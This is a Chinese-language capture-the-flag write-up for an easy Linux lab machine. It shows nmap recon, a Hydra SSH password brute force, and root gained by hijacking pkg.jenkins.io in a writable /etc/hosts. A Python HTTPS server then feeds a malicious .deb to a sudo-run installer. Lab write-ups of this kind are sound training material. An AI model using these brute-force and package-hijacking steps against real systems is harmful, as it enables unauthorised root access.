Box Info
| OS | Linux |
| Difficulty | Easy |
Nmap
[root@kali] /home/kali/Search
❯ nmap 192.168.56.136 -sV -A -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 39:0d:70:e0:55:cb:20:de:ad:f7:10:d8:1f:76:4d:9d (ECDSA)
|_ 256 df:e2:94:52:e9:3d:eb:69:2d:b4:a5:a9:2c:3e:63:46 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Apache2 Debian Default Page: It works
得到用户名是support
Hydra
[root@kali] /home/kali
❯ hydra -l support -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.136 -I -V
得到密码是liverpool
Root
查看sudo -l
support@debian:~$ sudo -l
Matching Defaults entries for support on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User support may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/check并且这个文件不可读
support@debian:~$ file /usr/bin/check
/usr/bin/check: executable, regular file, no read permission
support@debian:~$ ls -al /usr/bin/check
-rwx--x--x 1 root root 548 Mar 27 17:17 /usr/bin/check那就看看运行输出
support@debian:~$ sudo /usr/bin/check
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
curl is already the newest version (7.88.1-10+deb12u12).
0 upgraded, 0 newly installed, 0 to remove and 64 not upgraded.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
apache2 is already the newest version (2.4.62-1~deb12u2).
0 upgraded, 0 newly installed, 0 to remove and 64 not upgraded.
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
gpg: no valid OpenPGP data found.
--2025-04-02 03:01:57-- https://pkg.jenkins.io/debian-stable/binary/jenkins_2.46.1_all.deb
Resolving pkg.jenkins.io (pkg.jenkins.io)... failed: Temporary failure in name resolution.
wget: unable to resolve host address ‘pkg.jenkins.io’
dpkg-deb: error: unexpected end of file in archive magic version number in /root/jenkins_2.46.1_all.deb
dpkg: error processing archive /root/jenkins_2.46.1_all.deb (--install):
dpkg-deb --control subprocess returned error exit status 2
Errors were encountered while processing:
/root/jenkins_2.46.1_all.deb看起来他是要去pkg.jenkins.io这里下载一个deb包，然后安装。
注意到/etc/hosts是可以写入的
因此劫持域名
support@debian:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 debian
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.56.118 pkg.jenkins.io在本地开启一个https的服务，先生成证书，随意输入即可
[root@kali] /home/kali/Search
❯ openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodespython脚本，注意端口要开在443
import http.server
import ssl
PORT = 443 # 监听端口
CERT_FILE = "server.pem" # 证书文件
# 创建 HTTP 服务器
server_address = ("0.0.0.0", PORT)
handler = http.server.SimpleHTTPRequestHandler
httpd = http.server.HTTPServer(server_address, handler)
# 使用 SSLContext 代替 wrap_socket
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=CERT_FILE)
# 绑定 SSL
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
print(f"Serving HTTPS on port {PORT}...")
httpd.serve_forever()根据要求生成恶意deb包之后，在https服务中注意目录结构
开启服务后，运行check
提权成功！可以看到check的内容就是远程下载deb，然后dpkg -i 安装。
Summary
User：网站注释中泄露用户名，尝试ssh登录爆破
Root：hosts劫持，下载恶意deb包得到root权限。